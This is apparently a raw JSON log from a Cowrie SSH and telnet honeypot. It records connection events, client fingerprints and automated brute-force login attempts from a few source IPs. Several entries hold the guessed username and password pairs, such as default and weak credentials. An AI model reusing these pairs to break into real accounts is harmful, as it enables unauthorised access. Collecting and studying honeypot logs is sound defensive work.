{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:12.162337Z","src_ip":"176.65.132.129","session":"2ae47132258a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:12.410142Z","src_ip":"176.65.132.129","session":"2ae47132258a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.646055459976196,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:12.959732Z","src_ip":"45.81.23.16","session":"e1c66ec6f98b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:13.495206Z","src_ip":"176.65.132.129","session":"2ae47132258a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.440147161483765,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:15.284475Z","src_ip":"38.60.198.128","session":"bac8cf167c35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34380,"dst_ip":"10.17.0.5","dst_port":22,"session":"c32bc1b6a3a5","protocol":"ssh","message":"New connection: 176.65.132.129:34380 (10.17.0.5:22) [session: c32bc1b6a3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:15.453770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:15.551578Z","src_ip":"176.65.132.129","session":"c32bc1b6a3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:15.555408Z","src_ip":"176.65.132.129","session":"c32bc1b6a3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:16.007847Z","src_ip":"176.65.132.129","session":"c32bc1b6a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49456,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb18ad5cef2","protocol":"telnet","message":"New connection: 38.60.198.128:49456 (159.203.135.109:23) [session: 6bb18ad5cef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:16.727863Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:17.093236Z","src_ip":"176.65.132.129","session":"c32bc1b6a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48272,"dst_ip":"159.203.135.109","dst_port":23,"session":"1346c6ff03d3","protocol":"telnet","message":"New connection: 38.60.198.128:48272 (159.203.135.109:23) [session: 1346c6ff03d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:17.610413Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37530,"dst_ip":"10.17.0.5","dst_port":22,"session":"58f170a67be2","protocol":"ssh","message":"New connection: 176.65.132.129:37530 (10.17.0.5:22) [session: 58f170a67be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:19.070925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:19.076251Z","src_ip":"176.65.132.129","session":"58f170a67be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:19.158662Z","src_ip":"176.65.132.129","session":"58f170a67be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:19.411754Z","src_ip":"176.65.132.129","session":"58f170a67be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54964,"dst_ip":"159.203.135.109","dst_port":23,"session":"61574f2ca414","protocol":"telnet","message":"New connection: 38.60.198.128:54964 (159.203.135.109:23) [session: 61574f2ca414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:20.418235Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:20.503337Z","src_ip":"176.65.132.129","session":"58f170a67be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.59584951400757,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:20.801666Z","src_ip":"192.211.53.160","session":"2a57ab6c0de3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37536,"dst_ip":"10.17.0.5","dst_port":22,"session":"be49a5f3b83c","protocol":"ssh","message":"New connection: 176.65.132.129:37536 (10.17.0.5:22) [session: be49a5f3b83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:22.417829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:22.422480Z","src_ip":"176.65.132.129","session":"be49a5f3b83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:22.506840Z","src_ip":"176.65.132.129","session":"be49a5f3b83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57854,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda34c1930df","protocol":"telnet","message":"New connection: 38.60.198.128:57854 (159.203.135.109:23) [session: dda34c1930df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:22.916178Z"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:22.960193Z","src_ip":"176.65.132.129","session":"be49a5f3b83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":44128,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8573267425b","protocol":"telnet","message":"New connection: 64.227.82.147:44128 (159.203.135.109:23) [session: b8573267425b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:23.316404Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:24.044563Z","src_ip":"176.65.132.129","session":"be49a5f3b83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60466,"dst_ip":"10.17.0.5","dst_port":22,"session":"569941fa8b79","protocol":"ssh","message":"New connection: 176.65.132.129:60466 (10.17.0.5:22) [session: 569941fa8b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:25.984365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:25.988780Z","src_ip":"176.65.132.129","session":"569941fa8b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:26.069948Z","src_ip":"176.65.132.129","session":"569941fa8b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:26.316886Z","src_ip":"176.65.132.129","session":"569941fa8b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55932,"dst_ip":"159.203.135.109","dst_port":23,"session":"9abb8649b560","protocol":"telnet","message":"New connection: 38.60.198.128:55932 (159.203.135.109:23) [session: 9abb8649b560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:27.263613Z"}
{"eventid":"cowrie.session.closed","duration":0.0054929256439208984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:27.269010Z","src_ip":"38.60.198.128","session":"9abb8649b560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:27.434038Z","src_ip":"176.65.132.129","session":"569941fa8b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60476,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e7f11bd74cf","protocol":"ssh","message":"New connection: 176.65.132.129:60476 (10.17.0.5:22) [session: 2e7f11bd74cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:29.527152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:29.532595Z","src_ip":"176.65.132.129","session":"2e7f11bd74cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:29.614662Z","src_ip":"176.65.132.129","session":"2e7f11bd74cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:29.863550Z","src_ip":"176.65.132.129","session":"2e7f11bd74cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:31.014943Z","src_ip":"176.65.132.129","session":"2e7f11bd74cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":44134,"dst_ip":"159.203.135.109","dst_port":23,"session":"9067f2c67a01","protocol":"telnet","message":"New connection: 64.227.82.147:44134 (159.203.135.109:23) [session: 9067f2c67a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:31.169022Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60486,"dst_ip":"10.17.0.5","dst_port":22,"session":"f54ba5a58beb","protocol":"ssh","message":"New connection: 176.65.132.129:60486 (10.17.0.5:22) [session: f54ba5a58beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:32.930433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:32.935479Z","src_ip":"176.65.132.129","session":"f54ba5a58beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:33.017416Z","src_ip":"176.65.132.129","session":"f54ba5a58beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:33.422539Z","src_ip":"176.65.132.129","session":"f54ba5a58beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42478,"dst_ip":"159.203.135.109","dst_port":23,"session":"224c3eca4418","protocol":"telnet","message":"New connection: 38.60.198.128:42478 (159.203.135.109:23) [session: 224c3eca4418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:33.839491Z"}
{"eventid":"cowrie.session.closed","duration":44.13512921333313,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:34.440858Z","src_ip":"38.60.198.128","session":"fc8d31a47897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:34.507564Z","src_ip":"176.65.132.129","session":"f54ba5a58beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37224,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d4416b53592","protocol":"ssh","message":"New connection: 176.65.132.129:37224 (10.17.0.5:22) [session: 1d4416b53592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:36.430364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:36.436431Z","src_ip":"176.65.132.129","session":"1d4416b53592","protocol":"ssh"}
